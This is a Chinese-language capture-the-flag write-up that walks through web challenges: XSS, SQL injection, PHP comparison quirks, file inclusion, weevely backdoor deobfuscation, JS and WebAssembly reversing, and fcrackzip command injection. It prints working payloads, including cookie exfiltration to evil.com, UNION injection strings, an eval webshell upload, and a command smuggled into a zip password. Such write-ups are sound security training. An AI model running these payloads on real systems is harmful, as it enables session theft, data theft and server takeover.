Welcome to web(5)
Web 签到题,进入 php0 给一段代码
1 | if(isset($_GET['key'])){ |
提交 GET 参数 key,值为 areyousure,就可以得到 flag:flag{We1C0me_to_W3b}
Calculator(25)
给了一道简单的计算题,但是数字很大,要在 1.5 秒内算出来,手算根本不可能,这时候就需要借助脚本的帮助。
后端的逻辑是用户第一次访问的时候给一道计算题,这时候生成一个 session,服务器凭借这个 session 来判断用户时候已经领取过一个计算题,如果已经领取过就接受用户的答案。
可以用 Python 在第一次 GET 获取计算表达式以后保存 session,然后再用这个 session 把答案发过去,可以用正则表达式提取第一次 Get 获取的网页中的计算表达式。
1 | import requests |
也可以用 JavaScript 直接再网页上操作计算答案然后再自动提交,不过手速要快一点
1 | document.getElementsByName('answer')[0].value=eval(document.getElementById('exp').innerText.replace('=','')); |
答案正确并且在 1.5 秒内提交即可获取 flag:flag{yes_you_are_calculat0r}
RapidTyping(50)
和 Calculater 差不多的套路,给一个很长的图片验证码,要求在 2.5 秒内输入,手工输入肯定是不可能的,查看网页源码可以发现验证码图片使用的是 svg+xml,那么就代表所有的验证码都是直接用 svg 绘制的,并且验证码的字符就在网页上,svg 的绘制内容采用 base64 编码,解码出以后再用正则表达式获取所有的验证码,需要注意的就是验证码是由顺序的,这个顺序要按照 x 的坐标顺序排列。
和 Calculater 一样,先 Get 获取验证码以后解出验证码在用同一个 session 发过去,可以用正则表达式提取 svg 的内容。
1 | import requests |
也可以用 Javascript,不过手速要快一点
1 | svg = document.createElement("div"); |
答案正确并且在 2.5 秒内解出即可获得 flag:flag{svg_C4P7cHa_n0t_$ecUr3}
XSS1(75)
基本的 XSS,源码如下
1 | if(isset($_GET['name'])){ |
过滤了双引号,尖括号和换行符,但是可以看到最后输出的位置是在 svg 的标签里,所以可以利用 svg 标签可以解析 HTMl 实体的特性完成注入。
测试 payload 如下:
1 | ";alert(123);var b=" |
先用 "
闭合前面的双引号再加上 ;
结束语句,后面就可以执行任意 javascript 代码了,最后再用一个 "
闭合后面的双引号,或者也可以直接注释掉后面的双引号。
题目要求是拿到管理员的 cookie,payload 如下,
1 | ";img=document.createElement('img');img.src='http://evil.com/xss/?cookie='+escape(document.cookie);document.getElementsByTagName('form')[0].appendChild(img);// |
记得在输入的时候用 url 编码一下
1 | %26quot%3B%3Bimg%3Ddocument.createElement%28%27img%27%29%3Bimg.src%3D%27http%3A%2F%2Fevil.com%2Fxss%2F%3Fcookie%3D%27%2Bescape%28document.cookie%29%3Bdocument.getElementsByTagName%28%27form%27%29%5B0%5D.appendChild%28img%29%3B%2F%2F |
最后从 cookie 里获取 flag:flag{Br0wseR_F3atUre}
XSS 2(75)
这次没有直接给源码,输出的引号前面会被加上反斜杠转义,但是查看网页源码
1 |
|
可以看到输出的网页上采用了 GBK 编码,可以用宽字节注入。测试 payload 为:
1 | %fa%22;alert(1);// |
在双字节编码中,前面的 %fa 加上反斜杠可以构成汉字“鶿”的编码,这样后面的双引号 %22 就可以成功逃逸,其他的引号可以使用 String.fromCharCode
绕过。
窃取 cookie 的 payload 如下
1 | %fa%22;img=document.createElement(String.fromCharCode(105,109,103));img.src=String.fromCharCode(104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,120,115,115,47,63,99,111,111,107,105,101,45)%2bescape%28document.cookie%29;document.getElementsByTagName(String.fromCharCode(98,111,100,121))[0].appendChild(img);// |
最后获得 flag 为:flag{GbK_is_3V1L}
Basic SQL(75)
最基础的 SQL 注入,可以用 SQLmap 直接扫或者手工注入。首选用 payload' or '1'='1
发现可以获取所有新闻,推测查询语句为:select * from news where search like '{$_POST["search"]}';
获取查询出的列数:a' union select '1','2','3
获取所有数据库:a' union select '1',(select group_concat(SCHEMA_NAME) from information_schema.schemata),'3
获取当前数据库名:a' union select '1',database(),'3
获取当前数据库的所有表名:a' union select '1',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3
获取字段名:a' union select '1',(select group_concat(column_name) from information_schema.columns where table_name='f1agfl4gher3'),'3
获取 flag:a' union select '1',(select h3r31sfl4g from f1agfl4gher3),'3
最后得到 flag 为:flag{sql_information_schema_hack}
Basic PHP(75)
直接给了源码
1 | require_once('flag.php'); |
看源码一共有两关,第一关需要
1 | md5($_GET['test']) == 0; |
这里用的是弱等于,所以只需要找到一个 md5 是 0e 开的字符串就行,例如QNKCDZO
,在弱等于时 0e 开头的字符串将会识别为科学计数法。第二关需要
1 | $_GET['name'] != $_GET['password'] && sha1($_GET['name']) === sha1($_GET['password'] |
这里需要 name 和 password 不相等,但是他们的 sha1 要相等,并且还是强等于,由于 sha1 函数无法处理数组,所以当 name 和 password 同是数组时 sha1 函数将返回 false,并且 name 和 password 是一个不相等的数组。
payload 为:/?test=QNKCDZO&name[]=a&password[]=b
最后获得 flag 为:flag{=_=PHP_1S_TH3_BES7_L4NGUAGE}
Basic PHP 2(75)
直接给了源码
1 | if(isset($_GET['content'])){ |
目的是要写入一个 webshell,文件名是 config.php,所以不需要担心文件后缀的问题,但是源码里不允许在文件内容中出现 php
以及 <
,类似 Basic PHP 1,当传入的 content 是一个数组时,stripos
函数将会返回 false,这样就可以绕过 is_int
函数。
payload 为:/index.php?content[]=<%3Fphp+eval%28%24_GET%5Ba%5D%29%3B
最后获取 flag 为:flag{pwnhub_first_shalon_ctf_web_php}
BabyXSS(100)
是一个很简单的打 cookie 的 XSS,提到了 flag 在 admin.php 里,但是需要 admin 的 cookie。
测试 paylaod:<img src='http://evil.com/xss/'/>
,发现有反应,那就可以直接在参数里带上 cookie
1 | <img src='http://evil.com/xss/?cookie='+escape(document.cookie)/> |
但是发现发来的 cookie 是空的,所以拿不到管理员的 cookie,但是可以用 CSRF,通过 XSS 用管理员的 cookie 去访问 admin.php,最后再把访问到的结果发到 XSS 服务器上。payload 如下
1 | <body></body> |
最后获得的 flag 为:flag{this_is_a_xss_flag}
BasicFileInclude(150)
最简单的文件包含题目,url 里直接包含了 flag.php,那么就可以使用 php 伪协议读取 flag.php,由于再后端结尾自动拼接了”.php”,所以就不用加上 php 文件后缀了。
payload 如下:?page=php://filter/read=convert.base64-encode/resource=flag
最后获得 flag 为:flag{really_basic_skill_web_dog_should_know}
FxxkingBackdoor(175)
下载打开 backdoor.php,这是一个木马软件 weevely 生成的 php 木马
1 | /** |
最前面都是经过混淆后的代码,最后真正开始执行的语句是
1 | $v=$Y('',$L);$v(); |
所以在这条语句前打印一下看看它执行了什么
1 | echo $Y.'<br/>';highlight_string($L);$v=$Y('',$L);$v(); |
输出如下
1 | create_function |
因此 L 里面存储的是 webshell 的代码,Y 是 create_funciton,所以最后创建了一个匿名函数 v 去执行 webshell,将 L 的代码格式化后如下
1 | $kh="d03a"; |
再进一步反混淆
1 | $kh="d03a"; |
总的来说原理就是先用 accept language 里提取出每个权重的首字母和权重数字,将前两个权重首字母作为用户的标识,将所有的权重数字作为 payload 数组的下标,payload 分开以数组的方式存放在 referer 的查询里,并且 payload 要以用户标识加 kh 的 MD5 前三位开头,以用户表示加 kf 的 MD5 的前三位结尾。
编写利用脚本:
1 | import requests |
最后得到 flag 为:flag{Y0U_r_brave_t0_so1ve_probl3M}
Global Page(175)
随便点一个 page,在 Warning 里面显示了
1 | Warning: include(pwn/zh-CN.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 39 |
所以是一个文件包含,根据输入的 page 包含一个 page/zh-CN.php 的文件,用 php 伪协议读掩码,%00 截断后面的 /zh-CN.php
1 | php://filter/read=convert.base64-encode/resource=index.php%00 |
但是发现过滤了“/”和“.”,并且无法使用 %00 截断,所以不能通过 page 进行文件包含,但是可以发现 page 后面的 /zh-CH.php 刚好是 accept-language 里面的语言,因此就可以通过修改 accept-language 进行文件包含,发送请求包如下
1 | GET /?page=php: HTTP/1.1 |
将因为存在 page 参数才会开始包含,但是 page 里不能含有“/”,因此可以将 page 设置为“php:”,在 Accept-Language 里设置为“/filter/read=convert.base64-encode/resource=index;q=0.8”即可包含到 index 源码,源码如下
1 |
|
最后包含 flag.php 获取 flag:flag{i_f0und_SiMp13_LFI_gogogo}
BabyCrack(200)
类似 FxxkingBackdoor,是 JavaScript 的反混淆,给一个输入需要符合一定条件才会得到 flag,而整个解密输入的逻辑都在一个 js 文件中,在网页源码里拿到最开始的源码 =_=.js 如下
1 | var _0x180a=['random','charCodeAt','fromCharCode','parse','substr','\x5cw+','replace','(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();','||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20','pop','length','join','getElementById','message','log','Welcome\x20to\x20HCTF:>','Congratulations!\x20you\x20got\x20it!','Sorry,\x20you\x20are\x20wrong...','window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)','version','error','download','substring','push','Function','charAt','idle','pyW5F1U43VI','init','https://the-extension.com','local','storage','eval','then','get','getTime','setUTCHours','origin','set','GET','loading','status','removeListener','onUpdated','callee','addListener','onMessage','runtime','executeScript','data','test','http://','Url\x20error','query','filter','active','floor'];(function(_0xd4b7d6,_0xad25ab){var _0x5e3956=function(_0x1661d3){while(--_0x1661d3){_0xd4b7d6['push'](_0xd4b7d6['shift']());}};_0x5e3956(++_0xad25ab);}(_0x180a,0x1a2));var _0xa180=function(_0x5c351c,_0x2046d8){_0x5c351c=_0x5c351c-0x0;var _0x26f3b3=_0x180a[_0x5c351c];return _0x26f3b3;};function check(_0x5b7c0c){try{var _0x2e2f8d=['code',_0xa180('0x0'),_0xa180('0x1'),_0xa180('0x2'),'invalidMonetizationCode',_0xa180('0x3'),_0xa180('0x4'),_0xa180('0x5'),_0xa180('0x6'),_0xa180('0x7'),_0xa180('0x8'),_0xa180('0x9'),_0xa180('0xa'),_0xa180('0xb'),_0xa180('0xc'),_0xa180('0xd'),_0xa180('0xe'),_0xa180('0xf'),_0xa180('0x10'),_0xa180('0x11'),'url',_0xa180('0x12'),_0xa180('0x13'),_0xa180('0x14'),_0xa180('0x15'),_0xa180('0x16'),_0xa180('0x17'),_0xa180('0x18'),'tabs',_0xa180('0x19'),_0xa180('0x1a'),_0xa180('0x1b'),_0xa180('0x1c'),_0xa180('0x1d'),'replace',_0xa180('0x1e'),_0xa180('0x1f'),'includes',_0xa180('0x20'),'length',_0xa180('0x21'),_0xa180('0x22'),_0xa180('0x23'),_0xa180('0x24'),_0xa180('0x25'),_0xa180('0x26'),_0xa180('0x27'),_0xa180('0x28'),_0xa180('0x29'),'toString',_0xa180('0x2a'),'split'];var _0x50559f=_0x5b7c0c[_0x2e2f8d[0x5]](0x0,0x4);var _0x5cea12=parseInt(btoa(_0x50559f),0x20);eval(function(_0x200db2,_0x177f13,_0x46da6f,_0x802d91,_0x2d59cf,_0x2829f2){_0x2d59cf=function(_0x4be75f){return _0x4be75f['toString'](_0x177f13);};if(!''['replace'](/^/,String)){while(_0x46da6f--)_0x2829f2[_0x2d59cf(_0x46da6f)]=_0x802d91[_0x46da6f]||_0x2d59cf(_0x46da6f);_0x802d91=[function(_0x5e8f1a){return _0x2829f2[_0x5e8f1a];}];_0x2d59cf=function(){return _0xa180('0x2b');};_0x46da6f=0x1;};while(_0x46da6f--)if(_0x802d91[_0x46da6f])_0x200db2=_0x200db2[_0xa180('0x2c')](new RegExp('\x5cb'+_0x2d59cf(_0x46da6f)+'\x5cb','g'),_0x802d91[_0x46da6f]);return _0x200db2;}(_0xa180('0x2d'),0x11,0x11,_0xa180('0x2e')['split']('|'),0x0,{}));(function(_0x3291b7,_0xced890){var _0xaed809=function(_0x3aba26){while(--_0x3aba26){_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());}};_0xaed809(++_0xced890);}(_0x2e2f8d,_0x5cea12%0x7b));var _0x43c8d1=function(_0x3120e0){var _0x3120e0=parseInt(_0x3120e0,0x10);var _0x3a882f=_0x2e2f8d[_0x3120e0];return _0x3a882f;};var _0x1c3854=function(_0x52ba71){var _0x52b956='0x';for(var _0x59c050=0x0;_0x59c050<_0x52ba71[_0x43c8d1(0x8)];_0x59c050++){_0x52b956+=_0x52ba71[_0x43c8d1('f')](_0x59c050)[_0x43c8d1(0xc)](0x10);}return _0x52b956;};var _0x76e1e8=_0x5b7c0c[_0x43c8d1(0xe)]('_');var _0x34f55b=(_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](-0x2,0x2))^_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4,0x1)))%_0x76e1e8[0x0][_0x43c8d1(0x8)]==0x5;if(!_0x34f55b){return![];}b2c=function(_0x3f9bc5){var _0x3c3bd8='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';var _0x4dc510=[];var _0x4a199f=Math[_0xa180('0x25')](_0x3f9bc5[_0x43c8d1(0x8)]/0x5);var _0x4ee491=_0x3f9bc5[_0x43c8d1(0x8)]%0x5;if(_0x4ee491!=0x0){for(var _0x1e1753=0x0;_0x1e1753<0x5-_0x4ee491;_0x1e1753++){_0x3f9bc5+='';}_0x4a199f+=0x1;}for(_0x1e1753=0x0;_0x1e1753<_0x4a199f;_0x1e1753++){_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5)>>0x3));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5)&0x7)<<0x2|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)>>0x6));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)&0x3f)>>0x1));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x1)&0x1)<<0x4|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x2)>>0x4));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x2)&0xf)<<0x1|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)>>0x7));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)&0x7f)>>0x2));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')]((_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x3)&0x3)<<0x3|_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x4)>>0x5));_0x4dc510[_0x43c8d1('1b')](_0x3c3bd8[_0x43c8d1('1d')](_0x3f9bc5[_0x43c8d1('f')](_0x1e1753*0x5+0x4)&0x1f));}var _0x545c12=0x0;if(_0x4ee491==0x1)_0x545c12=0x6;else if(_0x4ee491==0x2)_0x545c12=0x4;else if(_0x4ee491==0x3)_0x545c12=0x3;else if(_0x4ee491==0x4)_0x545c12=0x1;for(_0x1e1753=0x0;_0x1e1753<_0x545c12;_0x1e1753++)_0x4dc510[_0xa180('0x2f')]();for(_0x1e1753=0x0;_0x1e1753<_0x545c12;_0x1e1753++)_0x4dc510[_0x43c8d1('1b')]('=');(function(){(function _0x3c3bd8(){try{(function _0x4dc510(_0x460a91){if((''+_0x460a91/_0x460a91)[_0xa180('0x30')]!==0x1||_0x460a91%0x14===0x0){(function(){}['constructor']('debugger')());}else{debugger;}_0x4dc510(++_0x460a91);}(0x0));}catch(_0x30f185){setTimeout(_0x3c3bd8,0x1388);}}());}());return _0x4dc510[_0xa180('0x31')]('');};e=_0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0])^0x53a3f32;if(e!=0x4b7c0a73){return![];}f=_0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0])^e;if(f!=0x4315332){return![];}n=f*e*_0x76e1e8[0x0][_0x43c8d1(0x8)];h=function(_0x4c466e,_0x28871){var _0x3ea581='';for(var _0x2fbf7a=0x0;_0x2fbf7a<_0x4c466e[_0x43c8d1(0x8)];_0x2fbf7a++){_0x3ea581+=_0x28871(_0x4c466e[_0x2fbf7a]);}return _0x3ea581;};j=_0x76e1e8[0x1][_0x43c8d1(0xe)]('3');if(j[0x0][_0x43c8d1(0x8)]!=j[0x1][_0x43c8d1(0x8)]||(_0x1c3854(j[0x0])^_0x1c3854(j[0x1]))!=0x1613){return![];}k=_0xffcc52=>_0xffcc52[_0x43c8d1('f')]()*_0x76e1e8[0x1][_0x43c8d1(0x8)];l=h(j[0x0],k);if(l!=0x2f9b5072){return![];}m=_0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x0,0x4))-0x48a05362==n%l;function _0x5a6d56(_0x5a25ab,_0x4a4483){var _0x55b09f='';for(var _0x508ace=0x0;_0x508ace<_0x4a4483;_0x508ace++){_0x55b09f+=_0x5a25ab;}return _0x55b09f;}if(!m||_0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5,0x1),0x2)==_0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5,0x4)||_0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2,0x1)-_0x76e1e8[0x4][_0x43c8d1(0xd)](0x4,0x1)!=0x1){return![];}o=_0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x2))[_0x43c8d1(0xd)](0x2)==_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x1)[_0x43c8d1('f')]()*_0x76e1e8[0x4][_0x43c8d1(0x8)]*0x5;return o&&_0x76e1e8[0x4][_0x43c8d1(0xd)](0x4,0x1)==0x2&&_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6,0x2)==_0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7,0x1),0x2);}catch(_0x4cbb89){console['log']('gg');return![];}}function test(){var _0x5bf136=document[_0xa180('0x32')](_0xa180('0x33'))['value'];if(_0x5bf136==''){console[_0xa180('0x34')](_0xa180('0x35'));return![];}var _0x4d0e29=check(_0x5bf136);if(_0x4d0e29){alert(_0xa180('0x36'));}else{alert(_0xa180('0x37'));}}window['onload']=function(){setInterval(_0xa180('0x38'),0x32);test();}; |
美化一下
1 | var _0x180a = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor']; |
进一步反混淆
1 | var _0x180a = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor']; |
主要的判断逻辑在 check 函数里,首先看到最后的 inputs[0x4]
可以确定输入一共有五段,以下划线“_”分割,并且已知以“hctf{”开头,以“}”结尾。推测hctf{xxxx_xxxx_xxxx_xxxx_xxxx}
在 challenge1 处需要的条件是
- (第一段的最后两个字符的 hex ^ ‘{‘的 hex) % 第一段长度 == 5,可知第一段长度为 7
在 challenge2 处需要的条件是
- 第三段的 base32 除去等号的 hex ^ 0x53a3f32 == 0x4b7c0a73
由此可以计算出第三段的 base32 除去等号的 hex 为 0x4e463541,转为 base32 为 NF5A====,解码为 iz,推测hctf{xx_xxxx_iz_xxxx_xxxx}
在 challenge3 处需要的条件是
- 第四段的 base32 除去等号的 hex ^ 0x4b7c0a73 == 0x4315332
由此可以计算出第四段的 base32 除去等号的 hex 为 0x4f4d5941,转为 base32 为 OMYA====,解码为 s0,推测hctf{xx_xxxx_iz_s0_xxxx}
在 challenge4 处需要的条件是
- 第二段中必须包含一个’3’
- 第二段以’3’分割,前后的长度相等
- 前后 hex 异或得到的结果是 0x1613,
由此得出第二段中间为 3,推测hctf{xx_xx3xx_iz_s0_xxxx}
在 challenge5 处需要的条件是
- 第二段分割以后的第一段,即’3’之前的每一个字符 * 第二段的长度,再加起来 == 0x2f9b5072
假设第二段长度为 5,则 0x2f9b5072/5 除不尽,那么第二段长度为 7,得出第二段第一部分的和为 114108118,转为字符串为 rev
再根据 challenge4.3 得出第二段后面的字符串 hex 为 0x726576 ^ 0x1613=0x727365,转为字符串为 rse,推测hctf{xx_rev3rse_iz_s0_xxxx}
在 challenge6 处需要的条件是
- 第五段的前四个字符 hex - 0x48a05362 == (0x4315332 * 0x4b7c0a73 * 第一段的长度) % 0x2f9b5072
- 第五段第六个字符 + 第五段第六个字符 != 第五段除去’}’外最后五个字符,即 xxxx}中的 xxxx
- 第五段的倒数第二个字符 - 第五段第五个字符 == 1
根据 challenge1 的结论以及 challenge6.1 可以算出第五段前四个字符的 hex 为 0x68347246,转为字符串为 h4rd,推测hctf{xx_rev3rse_iz_s0_h4rdxxxx}
在 challenge7 处需要的条件是
- 第五段第七和第八个字符的 hex 数字 == 第五段第七个字符 * 第五段的长度 * 5
- 第五段第五个字符 == ‘2’
- 第五段第七第八个字符 == 第五段第八个字符 + 第五段第吧个字符,即第五段第七和第八个字符相同
根据 challenge7.2 可知,推测hctf{xx_rev3rse_iz_s0_h4rd2xxxxxxx}
根据 challenge6.3 可知,推测hctf{xx_rev3rse_iz_s0_h4rd2xxxxxx3}
根据附加条件 1:flag.substr(-5,3)=="333"
,推测hctf{xx_rev3rse_iz_s0_h4rd2xxx3333}
根据附加条件 2:flag.substr(-8,1)=="3"
可知第五段长度为 8+5=13,并且第六个字符为’3’,推测hctf{xx_rev3rse_iz_s0_h4rd23xx3333}
根据 challenge7.1 可以计算出第五段第七第八个字符的 hex 为 0x6565,转为字符串为 ee,推测hctf{xx_rev3rse_iz_s0_h4rd23ee3333}
根据 challenge1 以及附加条件 4:sha256(flag) == "d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
最终爆破出第一段最后两个字符为 j5,得到 flag 为:hctf{j5_rev3rse_iz_s0_h4rd23ee3333}
Baby Reverse(200)
打开网页源码在 JavaScript 里对输入的字符串进行了处理
1 | var btnCheck = document.getElementById('btnCheck'); |
可以看到最后交给了 flag.wasm 处理,wasm 是 WebASsembly 的二进制格式文件,下载 flag.wasm 使用 wabt 进行逆向。首先将二进制格式的 flag.wasm 转换为文本格式 wat,懒得下载的可以使用 在线工具。
1 | (module |
直接看反汇编代码还是有点复杂,可以进一步将其反编译为 C 代码
1 | // flag.h |
1 | // flag.c |
反编译出来的 C 源码还是很复杂,可以将其再次编译成可执行文件,用 IDA 打开反编译进行静态分析。再次编译需要使用“wasm-rt.h,wasm-rt-impl.c,wasm-rt-impl.h”这三个文件,可以在 wasm2c 的位置下找到。由于在前端源码里主要调用了 check_flag 函数去检查 flag,所以直接看 check_flag 函数
1 | _BOOL8 __fastcall w2c_check_flag(int buf_addr) |
这里的 buf_addr 是在前端中调用了 get_buf 函数获取的,该函数直接返回了 80
1 | signed __int64 w2c_get_buf() |
最后需要 result 为 0,根据同或的性质,result 在循环中每次迭代时都需要为 0,最后的结果才能使 0,所以表达式 (i32_load8_u(&w2c_memory, i++ + 16) ^ f) ^ 0x42;
将恒为 0。根据异或的性质,则表达式 i32_load8_u(&w2c_memory, i++ + 16) ^ f
将恒为 0x42。根据异或的交换律f = i32_load8_u(&w2c_memory, i + 16) ^ 0x42
flag 位于从 w2c_memory 第 16 位开始,长度为 23,这里的 w2c_memory 在 init_memory 函数中初始化,
1 | __int64 init_memory() |
w2c_memory 第 16 为开始被赋值为 data_segment_data_0,data_segment_data_0 的定义为
1 | static const u8 data_segment_data_0[] = { |
但是从 data_segment_data_0 的第 8 位开始又被赋予了新值,纠正后的结果为[0x24, 0x2e, 0x23, 0x25, 0x39, 0x0a, 0x27, 0x2e, 0x2e, 0x2d, 0x15, 0x27, 0x20, 0x03, 0x31, 0x31, 0x27, 0x2f, 0x20, 0x2e, 0x3b, 0x3f, 0x42]
最后得到 flagflag{HelloWebAssembly}
Confused question(225)
直接看前端源码给了两个 hint
1 | <!--register.php?username=xxx will reg a new user for you with password '123'--> |
先看 login.php.txt
1 |
|
为了拿到 flag 需要 n==admin,并且 sql 查询需要成功。首先 str_ireplace 将 loginStr 中的所有的 admin 都替换为 guest,这里可以用 GET 数组绕过,例如?loginstr[admin]=123
,parse_str 无法处理数组,那么 $logStr 就为['admin'=>'123']
,满足 n==admin。过了第一个条件以后就需要先办法让 sql 查询成功,由于没给注册,所以只能考虑 sql 注入。
使用 GET 数组虽然绕过了 n==admin 这个条件,但是 v 就不是一个数组了,只是一个字符串,这时如果把一个字符串当成数组取值的话 php 会将该字符串的第一个字符当作值取出,如果 ?loginstr[admin]='
的话,addslashesForEvery 将 v 过滤以后就变成了\'
,这时取出的第一个字符为反斜杠,带入 sql 语句就变成了select * from admin where username = '\' and password = '$password'
,这里的反斜杠将 username 后的单引号转义,因此 username 就变成了\' and password =
,password 就逃脱了单引号的限制,可以从 password 进行 sql 注入,最后的 payload 为:GET?loginstr[admin]='
,POSTpassword=+ or 1#
,带入 sql 语句为select * from admin where username = '\' and password = ' or 1#'
最后拿到 flag:flag{pHP_H4s_s0_m4Ny_f3a7ur3s}
ZipCracker(225)
题目说有源码泄露,先扫一下发现.index.php.swp 文件。
1 | <!doctype html> |
最直观的有一个shell_exec($cmd);
,但是这里 cmd 命令里面的所有可控输入都是文件的 tmp_name,所以无法直接命令注入,但是这里使用了 fcrackzip 破解 zip 密码,而 fcrackzip 存在命令注入漏洞,当 fcrackzip 开启 unzip 选项时并且找到密码时,fcrackzip 会直接使用该密码解压破解的 zip 文件,而 fcrackzip 正是直接使用了 shell 的 unzip 命令,将 password 带入命令行中没有做任何过滤,因此这里存在一个命令注入漏洞。
1 | int REGPARAM check_unzip (const char *pw) |
所以可以给 zip 文件设置密码 aaa";cat "flag.php
来执行命令拿到 flag,提交的时候记得选择 use unzip。得到 flag 为:flag{bug_430387_cmd_injection}